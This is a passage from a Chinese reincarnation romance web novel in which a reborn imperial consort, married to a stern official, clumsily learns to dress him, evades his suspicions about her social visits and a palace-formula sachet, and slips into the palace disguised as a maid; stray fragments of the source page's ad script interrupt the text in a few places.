薛灵儿打一个突,瞟一眼宋汝璋,见他神情严肃,脸容轮廓在夕阳余晖下格外锋锐分明,凛冽的一双瑞凤眼中,眼神格外幽深,显得十分不好糊弄。 幸亏是对丹阳县主的性情还有几分了解,薛灵儿露出了天真无邪的惯常笑容。 “大人你是问这个呀,吓我一跳。我本来是在集市上玩的,结果没走稳路,摔在了一个马车前面,就是你说的丹阳县主,她问我是谁家的孩子,我说是宋大人你新娶的夫人,她好像听说过我,说,就是你呀,然后就拉我到马车上聊天,越聊越喜欢我,就带我去她家吃饭了,下午还带我去一个大官家做客了。好热闹啊。” 这话里头,一半真一半假。眼瞧着薛灵儿懵懂无辜的大眼睛,宋汝璋一时难分真假。 他也听说过,丹阳县主性子古怪,不爱结交权贵,专爱结交市井游侠,又爱在街上捡拾流浪孩童、受伤小兽什么的,难道是把薛灵燕当成残疾小兽一样喜欢了? 正在狐疑不决,就听弟媳苏玉茹在正厅门边一声轻笑:“我等半天了,兄长还没有说完话吗?” 苏玉茹这话,明显带了取笑之意,薛灵儿本来心底无私,可也不知为什么,脸颊腾的一下,就烧了起来。宋汝璋倒是无知无觉的木头一块,一本正经答道:“我说完了,有什么话你们说。” 看着宋汝璋转身回自己书房的方向,又瞧一眼薛灵儿腮上的红晕羞色,苏玉茹暗暗的心惊,幸亏已经跟谢氏说好,不日就让堂妹子苏玉兰进府。 心里带了个八成把握,对着薛灵儿笑得格外畅怀:“大嫂,母亲有请,有话要说。” 薛灵儿一见苏玉茹那似笑非笑的嘴角,恶意藏都藏不住的眼神,心里又打了一个突,前世她在宫里,这种神情可见得太多了。 18. 服侍 听闻婆母谢氏传唤有话说,且妯娌苏玉茹表情上明显不怀好意,薛灵儿心里打着鼓,跟在苏玉茹身后,来到正堂。 此时太阳已经坠在西天,谢氏的脸容罩在暗影里,刚毅硬朗的轮廓与宋汝璋有五分像,屋内的空气也变得寒津津的,薛灵儿忍不住就垂了头,低了声音,规规矩矩行礼,唤了声“母亲。” 谢氏本来一肚子气,准备好好发作一番,让儿媳记住今日的教训,今后不敢再往外跑。可是见她带着一股蓬勃之气踏进屋子,光亮润泽的脸容上还留着高兴的余韵,软绵绵的唤的那声“母亲”,更让她想起了七岁早夭的小女儿。 于是长长的叹息一声:“叫你来,不为别的事,还是祠堂里跟你说过的话,你以后,得学着做点事,就先学会服侍夫君,把汝璋给我照顾好。” 苏玉茹在谢氏身后,拉长了脸。 就这么雷声大雨点稀吗,不是应该好好训她一顿,罚跪,警告她不许再往外跑吗?然后再半掩半露的告诉她,苏玉兰要进府,准备成为长房的贵妾。婆母今日是怎么了,这个痴傻女子是有什么邪术? 薛灵儿也有点难以置信。她这两天接连的往外跑,本来准备迎接劈头盖脸的一顿训,责罚也有可能,谁想到,只是让她服侍宋大人而已。……不过,这也是个麻烦,她根本不知道该干什么,况且会耽误她的正经事,调查安国公府的事,不出门什么也办不成。 她眼珠转了转,对谢氏说道:“灵燕听母亲的话,一定好好学本事。不过,大人怕是不愿意让我照顾呢,嫁过来那天晚上,他亲口说的,不许我进他的卧房和书房,进去就要打我。” 谢氏看薛灵儿一脸真诚,完全没有怀疑她在推脱,也知道自己儿子性情古怪,耐心说道:“灵燕,人的想法都会变的,所谓此一时彼一时也,他要是不愿意,让他来见我。” 薛灵儿等的,就是这句话,欢快地应了一声:“母亲,我这就去问他。” 她自觉胜券在握,脚步越加轻快,不多一时,来到了灵犀阁门口,请守在门口的流云通报一声。 流云是第一次见到少夫人在傍晚时分来找大人,且是遣开了丫鬟,独自前来,想是二人还没有圆房,故此害羞,想到此处,几乎替主子笑出声来,又听到少夫人让自己通报,索性就大大方方的笑出声来:“夫人这是说笑话吧,这是您自己的家,通报个什么?” 薛灵儿懒得跟这傻小子啰嗦,便自己走进门去,见宋汝璋独自坐在水榭的厅堂里,面前一杯清茶,眼望着半开的镂空纱窗,似是难得闲暇之中,观赏风景。 薛灵儿跟着往窗外一望,果然正值夕阳西下,因为秋高气爽,天边有大片彩色晚霞,几乎染红了半边天,恰好倒映在宋府花园的湖面上,一时间,霞光云影,秋水长天,金红粉紫,艳丽如画,着实让人心旷神怡。 薛灵儿生前,就爱赏美景,此时忍不住赞叹道:“真是好景致啊,大人你可真会享受。” 宋汝璋转过头来,望向薛灵儿,一双眼睛寒津津的,仿佛比刚才更加幽深,开口问道:“怎么不叫人通传?” 薛灵儿心说,果然,兴师问罪了,如孩童般扭了一下身子,理直气壮地回答:“不能怪我,我让流云通传了,是他不肯,不信你问他。” 宋汝璋点点头,脸上神情看不出喜怒。 薛灵儿想起来意:“对了,母亲说,让我学着服侍大人你,我说你不会同意,她不信,让你自己去跟她说。” 一口气把话说完,想到他根本不会同意让自己服侍,脸上笑得更加欢悦,在外跑了一天,此时感到腿酸加口渴,反客为主自己坐下来,从茶盘拿一个空的汝窑天青茶杯,自己斟上一杯茶水,喝了一大口,端的是一等好茶,香气十分清幽,茶汤细腻浑厚,喉韵绵长,温度也刚刚好。 这宋汝璋,面上看起来古板,像个苦行僧似的,其实还挺会享受。 正在心里腹诽,等着宋大人去找谢氏,拒绝自己服侍,谁知宋大人笑了一笑:“你会服侍人吗?” 薛灵儿没想到他还有心情攀谈几句,只得接话:“……不会。” 宋汝璋又笑了一笑:“不会不要紧,可以学。” 薛灵儿听出来了话茬不对,一口茶水吞了一半,勉强咽下去,质问道:“大人,你不是……不让我进你的屋子吗,这怎么……” 宋汝璋说道:“此一时彼一时也,我看你人还不错,现在不介意你进我屋子里了。怎么,你不愿意?” 薛灵儿盘算着这书房那第三道紧闭的门,这事就算再为难,她也得接下。于是牙疼似的吸溜了一口气,赶紧答应下来:“大人瞧您说的,您待我这么好,我怎么会不愿意呢,只是……我是真不会。” 宋汝璋瞟了她的神情一眼,悠悠说道:“不会可以学,跟你陪房的宋妈妈学一学。” 薛灵儿此刻信了缘分一说,自己与宋大人大约是天生的兄妹缘分,心有灵犀,连这事都能想到一起,于是轻快地应一声:“大人说的是,我这就去找宋妈妈。” 宋汝璋眼望着她的背影消失,又把眼神转向了窗外,晚霞虽美,可惜转瞬即逝,水面上最后一片金红已经褪色,如同秋日飘零的最后一朵落花。 薛灵儿回到悲寥轩,实在太累了,晚饭都没顾上吃,先结结实实睡了一觉,睡到掌灯时分,起来用了点秋香在院里小厨房烹制的清粥小菜,斟上一盏清茶,方才觉得缓过神来。 于是让秋香把宋妈妈叫来。 宋妈妈站在地中央,听见三小姐发话,要学新本事,心里直发懵。 什么叫学着服侍夫君?天下女子都会的事,自嫁人第一天开始,自然而然的就会了,日久天长,熟能生巧,为什么还要特意学? 秋香站在一旁,朝着三小姐努了怒嘴,宋妈妈会过意来,三小姐心智不全,难怪。 于是宋妈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妈粗哑的苍老声音开腔授徒:“这个么,”她脑筋里努力回想着,“早上要起的比他早,等他睁开眼,你应备好今日他该穿的衣服,等他穿好衣服,早饭要备好,一日三餐,需得留意夫君爱吃什么,多多备下……” 薛灵儿眨着眼,听上去像厨役头子伺候主子干的活儿。 “要是夫君是个贵人,一年四季,出门办差,在家常服,里衣外袍,佩带鞋袜,都得提前准备好,虽说府里有裁缝绣娘,但料子,式样,都得夫人娘子操心……” “要说起日常每日,夫君在家的时候要时刻留意着,更衣的时候整理冠带,休息的时候端茶递水,也是应当应分之事。” 两段加起来,听得薛灵儿倒吸一口凉气,忽然有所悟:“这不就是秋香日常伺候我吗?” 宋妈妈费力想了一下:“您要这么想,好像也对。” 秋香面露一点期盼神色,看来主子有望知道自己的辛苦了。 薛灵儿忽然泄了气,前世嫁了皇帝,也没这么累过。难怪天下女子,人人都想做娘娘,是能轻省些。 薛灵儿忽然发问:“秋香服侍我,得了衣食之外,每个月还有二两月银,自己可以随意花用,女子照这个样子,这么辛苦操劳服侍夫君,能得到些什么?” 宋妈妈忽然语塞,她是从主人家领到衣食和月银的,领到的工钱且不能随意花用,那么她家老宋给了她什么呢? 忽然又想起还是有重要的收获:“生儿育女,死后能进夫君家祖坟祠堂,享用子孙后代供奉的香火……” 恰又戳中了薛灵儿的痛处。前世她嫁皇帝,受皇宠风光无限,死后照样被开革出夫家祠堂,荒郊野外成为孤魂野鬼,唯一来拜祭她的,是生前的冤家对头手帕交。 薛灵儿忽然意兴阑珊:“宋妈妈出去吧,我晓得了。” 宋妈妈拿着秋香递过来的铜钱高高兴兴的出去,心说主家终究还是比夫家强,仁义的主家用人从来没有白用的。 秋香看三小姐面色发沉,给她斟上一杯热茶,有些担忧地问:“三小姐是不打算服侍宋大人了吗?” 自从进了宋府,她多多少少了解主子的性子,她若是不愿意做的事,怕是谁也强迫不了她。 薛灵儿饮下一口茶,摇摇头:“那不至于,宋大人,我还是要好好服侍的。” 一则,他为她对抗君命,对抗母命,愿意替她挨刑杖,这叫做恩,叫做义,从小她父亲安国公就教导她,人不可忘恩,亦不可负义。 况且,她还惦记他书房的第三道门。 但世间事,都是说起来容易做起来难。薛灵儿一向以为自己聪明伶俐,要说比谁略逊一筹,满天下也就是个丹阳县主,可没想到变成民间女子嫁为人妇,竟然会这么笨拙,大概是连宋妈妈都不如。 第二日一早的灵犀阁,流云和秋香在旁看着少夫人忙活,二人不约而同皱起了眉,吸溜一口冷气。 19. 更衣 薛灵儿特意起了大早,梳妆完毕带着秋香来到灵犀阁,带着十足的诚意来的。 宋大人也很配合,早早起身,由流云服侍穿了家常内袍,等她主仆二人进了灵犀阁,四人用早饭。薛灵儿自顾自吃到一半,才想起来昨天宋妈妈的传授,从檀木椅上弹跳起来,挽着袖子要给宋大人盛汤,宋大人摆手拒绝:“让流云来。你也不必这么紧张,一点一点来,先安心吃饭。” 薛灵儿松一口气,重新坐下吃饭。 流云虽然被派了差,但是心中高兴,大人果然好似是开窍了,自己从小服侍他这么多年,只见他冷冰冰一副公事公办嘴脸,怎么不见他说过一句这样温情的话? 吃完早饭,家主要去衙门办差,薛灵儿来了一早上,没有用武之地,此时一见宋大人需要换装,整理蟒袍玉带,来了精神,前世她别的事没做过,替皇帝整理龙袍还是些许做过的。 当下自告奋勇,就要从这里学起,宋大人虽板着面孔,但唇角微有上扬,难得带了一丝兴味,除下常服,露出雪白里衣,薛灵儿手拿官服展开,要往宋大人肩上披,只是,他身量太高,肩膀也宽,薛灵燕是个娇小玲珑身姿,需要踮着点脚尖,才能够到他。 宋大人瞟一眼她的神色,察觉了她的为难,于是略微弯腰,垂下脖颈,来迁就她,薛灵儿伸出双臂,把官袍披在他肩上,二人呼吸交错,只不过短短一瞬,薛灵儿瞥见他衣领之下,喉结和淡淡青筋闪着暗光,宋汝璋表情无波无澜,一如既往的古板,薛灵儿却是鼻尖冒了细汗。 此番情形落在秋香眼里,又是另一番光景。秋香在旁,本来是留心看主子动作,随时准备加以指点,谁知主子今天穿的轻罗衫子,衣袖略宽,往上一抬,衣袖滑落,露出一点雪白藕臂,扑在高大英俊男子怀里,本是为了披上衣服,却像是去搂男子的脖颈,宛转承欢的样子。 男子那硬朗英气轮廓,衬托得女子粉面桃腮更加娇柔,仿佛弱不胜力,秋香心思一跳,猛然想到在薛府做小丫鬟的时候,丫鬟仆妇间私下里传的一个画本子,里头一副画中情景,耳根发热,脸颊也红了半边。 正不知所措,一眼瞥见流云还在无知无觉,乐呵呵地傻看,便喊了他一声:“流云小哥,随我出去看看大人的官轿备好了没有。” 流云应了一声,恋恋不舍又看了几眼,才随秋香出去,掩上了门。 薛灵儿并没察觉秋香话里的破绽,不知道两个仆从是有意躲了出去,还送了口气。 适才她就是被这两个奴仆大眼瞪小眼,盯着看,才如此紧张冒汗,这两人走了就好了。 官袍好歹披在了宋大人身上,薛灵儿手法倒也利索,衣领、身子、下摆,三下五除二整理好,只要扣上玉带,就算全活。 薛灵儿拿过那条皮质镶玉石的半软硬腰带,往宋大人腰里一围,心里没当回事,把那机括扣上,这累人的活计就可以完工了。 可是那机括愣是扣不上,她发现,她更紧张了。 没了两个奴仆在旁,是没了众目睽睽的瞪视,可是屋子里就剩下她和宋大人两个人,本来宽大高敞的水榭厅堂,仿佛变得异常的狭小,狭小的简直喘不过气。 宋大人身型高大,宽肩窄腰,身型比例合度,线条流畅,刚才薛灵儿给他披官袍的时候,心内还夸赞是极好的衣服架子,但当此刻近在咫尺,仿佛就带了说不出的压迫感。 加上此刻,本就是旭日东升的时候,男子身上阳气正盛,热力激发体息,那股原本柔和的松竹之气,此刻也仿佛变得凛冽刺人了许多。 薛灵儿艰难地喘过一口气,试着再扣一次,奈何手心见汗,那银扣又一次松脱了。 薛灵儿已经忍耐了半晌,再也控制不住内心羞恼之情,耳廓上像有火烧起来,她只想逃开,什么也不管了。 谁知,想逃却也逃不开,刚想迈步,双手被宋大人一把按住,薛灵儿吓了一跳,不知他要待怎样,就见他古铜色宽大手掌,牢牢捉住薛灵儿的雪白纤手,往那银扣上一扣,那两边的机括终于牢牢搭住,锁在了一起。 薛灵儿这才松了一口气,退开两步站到了博古架子边,脸颊腾地飞上了红云,适才一番折腾,浑身都冒了一层细汗,腿软的几乎要站不住。 宋汝璋瞥她一眼,见她脸颊绯红,眼含水色,似羞似恼,好像要哭出来了,心一软,耐下性子哄道:“这有什么好恼的,做事都是这样,一回生二回熟,以后就好了。” 薛灵儿身子倚靠着博古架,稍稍缓过了神,看着宋大人的深色瞳仁,如同秋日的晴空一样清澈透亮,眼神清明无辜,完全浑金璞玉的样子,心中也是羡慕,傻有傻的好处。 宋汝璋见薛灵儿的脸色缓和下来,也没想到自己居然这么会哄人,一句话便解了薛灵儿的羞恼之情,又叮嘱道:“我去衙门办差,午饭不必等我,晚饭等我一起用。” 薛灵儿点头应下,目送着他的背影出了门,赶紧在桌边坐下来,给自己斟一口热茶。 这回可知道厉害了,可知道这民间女子的日子有多难过了,服侍夫君原来是这么累人的活计,还不如随她父亲上战场上打一仗,来得痛快。 蹭了一口宋大人书房的一等好茶,好好品了品那沁人心脾的幽香,望了望水榭窗外的秋水碧波,总算一早上这番紧张惊吓之情,算是翻了篇。 一杯香茶饮尽,秋香送走了宋大人和流云,推门进来,一见主子惊魂未定的样子,先偷笑一下,然后宽慰道:“三小姐无须这么紧张惊慌,你和大人还未圆房,等到做了真正夫妻,熟悉起来,就什么都好了。” “真正夫妻”四个字,真正刺耳,让薛灵儿好不容易消下去的汗,又起了一层。所谓一回生二回熟,在这事上并不管用,祠堂里头听婆母谢氏说起,就刺得薛灵儿浑身发痒,今日秋香又说,这又刺又痒的劲儿,简直加了倍。 茶再香,景再美,也是一刻都坐不住了,站起身来对秋香嗔道:“你这丫头胡说些什么,再胡说,把你配给流云做夫妻,你看好不好?” 秋香被打趣,羞红了脸,主仆二人笑成一片。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过秋香这么一说,薛灵儿也恍然明白过来。服侍夫君已经是天下第一苦差,如果这夫君又是名义上的假夫君,那么这差使之苦,又是加了倍。明日无论如何,服侍更衣这活计,还是还给流云,自己绝不能再揽。 笑闹够了,二人离开灵犀阁,打道回府。 一路上,薛灵儿忍不住回想,嫁到宋府这些日子,宋大人固然善待她,可是,婆母给她新添的服侍假夫君这个活计,当真不是玩的,当务之急,还是利用宋大人这块跳板,查明白安国公府的冤案。 等正经事办妥之后,自然就可金蝉脱壳,大不了寻个机会溜出宋府,天大地大,自在过活。想到这里,方松了一口气。 情势所迫,主意拿定,薛灵儿加紧的往丹阳县主的府上跑,结交高官权贵的家眷,热衷于参与各种名目的宴会,各家的满月酒、及笄礼、生辰宴、婚宴、寿宴、百花宴,直到有一天,薛灵儿在丹阳县主的马车上抱怨,是谁的幺蛾子,发明出这么多花样繁多的宴席,一天天的,累死个人了。 县主听闻,唇边带一个微笑,望向前方:“这就嫌累了?你可知道,给你托梦的那个人,薛灵儿在生的时候,百花宴算什么,她的梧桐宫里,每逢一个节令都要开宴,春分宴,白露宴,每场宴席都要最时鲜的山珍和贡果,宫里的戏班还不够,每次还都要京城里请新近红起来的角儿,要是你赶上了,还不累死了。” 自从重生以来,薛灵儿还是第一次,从别人口里听到自己的生平事迹,感慨之余,一时有点不敢相信。 自己这个人,爱热闹爱享受是不假,可是前世,竟然是那样奢侈铺张吗? 已经过了一段民间朴素的家常日子,略微回想一下,也知道县主所言不虚。县主所言既然不虚,她便有些心虚,觑了一眼县主试探着问:“县主娘娘,你是不是很讨厌她?” 县主望向前方的目光更加深长:“本来我也以为我很讨厌她,直到她离世了之后,再也没有人跟我比喝酒,比投壶,偷偷比爬树,赢了就笑,输了就叫,痛痛快快,愿赌服输,我才知道,像她这么一个让我讨厌的人,再也找不到了。” 县主看见,与她肩并肩说话的宋夫人薛灵燕,乌溜溜的杏眼内泛起一点泪意:“薛贵妃她……在阴曹地府里,一定也是这么想念县主娘娘的。” 这姑娘虽然有些傻,但是又多情易感,很得县主的喜欢,抬手便摸了摸她的头发:“哦?是她托梦告诉你的?” 薛灵儿很肯定地回答道:“是,她托梦时候说的。” 县主唇边的微笑意味更深,眼中闪动着光亮。薛灵儿擦去眼角的泪滴,学着县主的神态,微笑着望向前方。 前世的时候,她也觉得县主是她最讨厌的人,如今,她只剩下这一个朋友,可是她的真心、仁义和担当照耀了她,像马车帘外那火红的朝阳一样。 忽然,她想到了另一个人,宋汝璋,前世也是她最讨厌的人,与丹阳县主并驾齐驱,改日也要探问他,对薛贵妃是何等样的观感。 20. 红人 薛灵儿在念起前世的冤家宋汝璋时,宋汝璋在下朝的路上,碰上了自己今生的冤家,大理寺少卿路文元。 二人是同一年的状元和榜眼,同一年以五品入仕,宋汝璋是文名便天下,路文元胜在为人比较圆滑,二人在晋升的路上你追我赶,当宋汝璋因得罪了梧桐宫薛贵妃被狠狠打压的时候,路文元压了他一头,且做了当朝次辅朱厚照的乘龙快婿。 但好景不长,因安国公府一事,朝堂一番动荡,宋汝璋成了首辅顾维钧的门生,且成了皇帝身边的宠臣近臣,这就让路文元拍马也追不上了,是以每次见到宋汝璋,总有三分酸气要散一散。 就说今日,宋汝璋冷眼旁观,见路文元貌似闲暇,站在丹犀台阶上,假作东张西望,便知道他有话要说。 于是从容走上前,淡淡打声招呼:“路兄,今日没随朱相的马车一起走吗?” 宋汝璋本是直性之人的无心之言,听在小心眼的路文元耳朵里,可就是另一个滋味,他平日没事,还总觉得人人都在嘲笑他是个赘婿,何况素来不睦的宋汝璋,当下觉得很有必要反击,于是意味深长的一笑,侃侃而谈。 “宋兄见笑了,今日拙荆任性,要带小弟去顾首辅家走一走,自小被岳丈娇惯成这样,拿她没办法。不像宋兄新娶的夫人温柔和顺,想必十分当意。” 宋汝璋知道,对方在炫耀自己娶了相府千金,嘲笑自己娶了小官家痴傻的庶女。 不过他这个人,为人做事但求无愧于心,向来并不十分在意别人的看法,明知对方心存恶意,也只微一点头,并不答言。 路文元登时有一种一拳打在棉花上的感觉,比先前更加不爽了,因此必须得加上一根针,才能解气,于是眯起眼笑。 “不过宋兄这位新夫人,也是奇女子,本来听拙荆说,那个……嫂夫人生性腼腆,属于大门不出二门不迈,可嫁宋兄之后,短短几日,成为这京城交际圈的第一红人了,就是拙荆这个相府千金,也是自愧弗如啊。” 路文元脸露尖刻的笑意,“生性腼腆”什么的,是指宋汝璋娶了痴傻女子,可惜宋汝璋一张木头面孔,毫无反应,这一针好像真刺到了木头上,路文元正在失望,宋汝璋接着好像才感受到疼痛一般,眉毛一跳:“路兄说什么……第一红人?” 路文元终于大畅心怀,继续加码。 “怎么,宋兄貌似不知情?嗨,小弟还以为,是宋兄你教她的呢,不过看着又不像,嫂夫人结交的,多是武将之家,还有掌管刑名的那一路官员,小弟冷眼旁观着,若是宋兄授意,此事十分不妥啊,不怕首辅大人和皇帝多心,宋兄有所图谋吗?” 这番话下来,宋汝璋打醒了精神。 原本以为路文元只是随口散一散酸气,宋汝璋一向看不上他这尖酸小心眼的女人习气,本不想理他,谁知他扯到了朝堂之事,这就得多问一句了。 宋汝璋眉头微皱:“拙荆……是如何走进武将刑名之家的?” 路文元知无不言,言无不尽,微笑道:“要不说嫂夫人本事大得很呢,也不知什么招数,与丹阳县主结成了手帕交,满京城都知道,这位县主娘娘那不是轻易交际的人,只要肯登门,哪家的大门不是立刻敞开?” 这就不对劲了。丹阳县主既然是轻易不肯出来交际的人,那么现在,为何突然出来交际?他问过薛灵燕,怎么坐在丹阳县主的马车上,她的回答似是而非,后来见她服侍穿衣那么笨拙,就不疑有他,轻轻放过了。 虽说宋汝璋自恃在皇帝和恩师顾首辅面前的分量,些微风吹草动,根本不算什么,可,他得搞清楚怎么回事。 宋汝璋思忖片刻,行礼道别“多谢路兄提点”,然后转身离开。 眼瞅着宋汝璋的高大背影下了丹犀台阶,路文元笑得开怀。 这傻子,旁人讥讽他,他还要认真道谢。且等着,他把那痴傻夫人,关在家里头打上一顿吧。 第二日一大清早,薛灵儿带着秋香,又来灵犀阁,服侍名义夫君。 主仆四人其乐融融,用早饭,一餐饭中,薛灵儿心安理得当主子,让流云服侍宋大人,因为昨天宋大人交代过了,学本事,得慢慢来。 用完早饭,家主该更衣了,换上官袍出门办差,薛灵儿满心里打算,把这个活儿还给流云,自己卸下去这个大负担,每日专管晚饭的菜谱。 宋大人这么疼她,一定不会反对的。 谁知宋大人寒凛凛的瑞凤眼望向她:“不行。” 薛灵儿诧异了,吸一口凉气,还企图争取:“大人,我手上功夫太笨,你背上伤口还没有完全愈合,我怕弄疼了你。” 宋汝璋的深色瞳仁更加幽深:“我不怕。” 薛灵儿无计可施,尬笑一声:“流云,把官袍拿来。” 流云到底是男子,心思粗,没看出二人情绪的暗涌,喜滋滋去拿官袍,交到少夫人手上,现学现卖,唤了秋香一声:“秋香姐,随我去看看大人的官轿准备好了没有。” 秋香随了流云出门,心内却有些许不安。 薛灵儿心里也在打鼓。宋大人的面色虽无波澜,眼神却格外幽深,让人看不明白,难道真是为了训练她吗? 硬着头皮,还照着昨天的样子,伸出双臂,把官袍披在宋大人肩上。 屋内又只剩下她二人,宋大人的眼珠更加黑沉,松竹之气仿佛带了辛辣之味,身上热力仿佛更强劲,总之,整个人比昨日的压迫感,强了数倍。 这压迫感,充斥在二人之间狭窄的身体缝隙内,仿佛要把薛灵儿整个人吞掉。 薛灵儿红着脸,屏住呼吸,衣领、衣襟、下摆,好容易整理好官袍,拿过来那硬皮子镶玉的腰带。 那两头的银扣还是扣不上,她手心冒着汗,指尖发着颤。 偏偏宋大人今日不帮忙,眼珠里冒着寒气,仿佛在审视什么,她心里一急,便想撤手。 宋大人又将她的手按住,她松口气,就等着他帮完忙马上退开,就像昨天一样。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 谁知他按着她的手不放,也不去扣那银扣,居高临下俯视着她,她心里一下子就慌了,想往外挣脱,奈何他力气太大,竟是牢牢被他按住。 薛灵儿不知道他想干什么,头发晕,腿发软,正不知所措中,就听宋汝璋的声音在头顶响起:“去那些武官刑名之家交际,是你的主意吧。” 原来是为了这件事。 薛灵儿松了口大气,搪塞道:“不是我,是县主娘娘想去的,她从小习武,愿意结交武将什么的,带着我去玩的。” 这个理由也并非一点道理都没有,但宋汝璋再也不肯信。 眼见薛灵儿说完便退开身子,似乎要向外逃,宋汝璋罕见的一点怒气生发,伸手拉住了她的胳臂,虽是隔着衣袖,却甚为有力,薛灵儿本就腿下发软,这一下子就把她整个人带入了宋汝璋怀里。 水榭的窗外,灵犀阁的院内,秋香和流云肩并着肩,在等宋大人的官轿,偏巧今天官轿迟迟不来,秋香心里发躁,又总觉得宋大人脸色好像不太对,于是问流云:“大人今天怎么有点反常,怎么就非得我家小姐服侍更衣,平日不是这样的呀。” 流云却自得一笑:“你是姑娘家,哪里懂得男人的心思,我来告诉你,我们大人这是,上瘾了。” 秋香总觉得不是他说的那么回事,却又反驳不了,忍不住回头,透过水榭那半开的镂花窗,往里头看,正好看见薛灵儿被宋大人一拉,女子娇小身躯跌进了男子宽阔怀中,被遮挡得严严实实,只余半边粉面一弯秀发,衬着男子孔武有力的肩背,更加引人遐思。 这一看,吃惊不小,惊呼出声,流云顺着秋香的视线一看,笑容更加自得:“我说什么来着?这回信了吧,别看了别看了,当心长针眼。” 秋香白了流云一眼,二人笑得欢畅。 但灵犀阁内的情景却绝非他们想的那样旖旎,宋汝璋拿臂膀箍住了薛灵儿:“在我面前,不要说谎。” 薛灵儿被箍住动弹不得,仰起脸,看他眼中寒气越发逼人,心内也是为难。宋大人待她这样好,是不该说谎,但这是何等大事,牵涉到朝野多少人命,又怎能轻易吐露? 于是心一横,摇头否认说谎:“大人,我为什么要说谎,那些大官人家,若不是县主娘娘想去玩,我又怎能知道谁是谁?” 宋汝璋虽不全信,可究竟怎么回事,也确实参详不透。那些朝堂势力,左中□□,别说薛灵燕一个痴傻姑娘,就是路文元那相府千金出身的妻子,也未必搞得清楚,再瞧她仰着小脸,眼中一点泪意,快要被自己吓哭了的样子,心一软,手一松:“罢了,你去吧。” 薛灵儿自觉像一只老鹰爪下的小鸟,突然劫后余生,赶紧往后一退,却从怀里落下一物。 是只香囊掉在地上。没等薛灵儿去捡,宋汝璋一弯腰,拿在手内,看了两眼,嗅了两下,突然发问:“这香囊不对。” 薛灵儿叫苦不迭。今日这也不对,那也不对,什么都不对,她就不该来。 21. 二进宫 薛灵儿有些心虚地问:“这香囊……有什么不对?” 宋汝璋眼眸的幽深好不容易淡下去,此刻又卷土重来,变得更幽更深:“这香料是市卖货,可这味苏合香的配方有些特殊,只有宫里头才有。” 原来是说这个呀,薛灵儿松了口气:“是我见县主娘娘佩在身上,又香又好看,跟她讨的。” 现在丹阳县主就是万金油。 但宋汝璋不依不饶:“这味苏合香的配方,并不出自内务府,而是梧桐宫……那位薛贵妃自行配制,如今那位已经离世三年,丹阳县主又从何得来?” 薛灵儿再一次叫苦不迭。这宋大人,好好读他的圣贤书,掌管他的翰林院不好吗,为什么要懂得这么多东西?品茶、制香,这都是爱享受的妇人女子闲来无事的玩意儿,他干嘛要懂这么多? 这香囊,当然是她自己配制,与丹阳县主无干。 前世在梧桐宫闲来无事,鼓捣出一个独家配方,百花芬芳中有蜜糖的香气,为皇亲和世家女子所喜爱,但薛贵妃是何等促狭任性之人,配方偏偏秘而不宣,只在高兴的时候,随意赏人一些,因其珍稀,更加受追捧,丹阳县主性子高傲,不曾向她讨过,确实不曾拥有。 这一阵子出去交际,她学着自己前世的样子做了这个香囊,万万想不到被宋汝璋抓了把柄。 但,混过一时是一时,薛灵儿扯谎的功夫,是越来越收放自如,睁大一双无辜的眼睛:“如果大人说的是真的,也许就是薛……薛贵妃生前赠她的,究竟怎样,我怎能知道?” 宋汝璋一时也分不出真假,只觉一切都太过凑巧,这一早上闹的他疲累不堪,摆摆手:“好了,是我多疑了,晚上等我回来吃饭。” 薛灵儿看他自己扣好腰带,目送着他出门,从水榭窗子看着流云伺候他上了官轿,这回再好的茶也是不敢喝了,逃生一般走出了灵犀阁的门,与秋香汇合,主仆二人一前一后回悲寥轩,薛灵儿准备回去什么也不想,先补一个回笼觉。 这一大早上,又惊又吓,可累死她了。 但有一件事,她走了一路,也想不明白。宋大人连梧桐宫用什么香都一清二楚,闻两下就分得出来,他对薛贵妃,有那么熟吗?怎么她生前,一点也不知道? 本来还想撩撩闲,盘问他对薛贵妃有什么看法,这下可不敢了,以后躲还来不及。 无论如何,得抓紧干正事,赶紧摆脱这个前世的冤家,否则日复一日的过去,他越来越可怕了。 薛灵儿饱饱补了一个回笼觉之后,去找丹阳县主,没想到自己这么好运,简直是瞌睡时候有人递枕头,丹阳县主被郑皇后召见,准备下午进宫。 薛灵儿软磨硬泡,要跟进宫里去,丹阳县主在其他事上都纵着她了,唯独进宫,毕竟是非同小可,没敢答应。薛灵儿发挥了被宋大人新近训练出来的扯谎本事,起誓发愿地说,昨晚薛贵妃托梦,今日务必要进宫,为安国公府申冤一事,成败就在今日。 并且,薛灵儿自己想出了主意,扮成丹阳县主的贴身侍女之一,只想到御厨房走一趟,问几句话,绝不乱走乱问,丹阳县主虽然心内打鼓,想她一个年轻女子也闹不出什么大的风波,勉勉强强答应下来。 下午,跟在丹阳县主身畔,再度走进了皇宫朱红色的大门,这次并非来朝见皇帝皇后,加上极力稳住了心绪,一心只等着丹阳县主依照计策行事,故此等在皇后的坤宁宫殿外的时候,内心接近无波无澜。 等到约定的时候,果然丹阳县主在里头唤人,薛灵儿一身县主府宫人装扮,低着头进去,先给皇后行跪拜礼,只听皇后笑着说:“这个侍女瞧着眼生,不是你寻常带的那个。” 薛灵儿心里一跳,越发不敢抬头,就听县主格格一笑:“寻常带的那个今日病了,便带这个来见见世面,如烟,把我那药拿到御厨房炖煮,可仔细了火候,不然药效不灵呢。” 薛灵儿故意粗哑着嗓子答应了。这是二人事先商量好的计策,县主假装心口疼,要现煮现服一味偏方,郑皇后必定派人跟着,但也无妨,只要到了御厨房,就算大功告成。 郑皇后果然吩咐道:“画扇,你跟着她去。” 薛灵儿心里一紧,几日前跟宋汝璋来接受皇封诰命,就是这个画扇跟着她去了御花园散步,还被她捉迷藏耍了一道。 二人走出皇后的宫殿,往御厨房的方向走,闲来无事,那画扇果然将她上下打量了一番,搭讪道:“这位姑姑,我瞧着你怎么有些眼熟。” 薛灵儿转开脸假装看风景,粗哑着嗓音答道:“以往来的是我姐姐,想必姑姑看她看熟了。” 画扇思忖了一下,不得要领,眼见御厨房就在眼前,便也丢开这回事,走进去安排炖煮药剂一事。 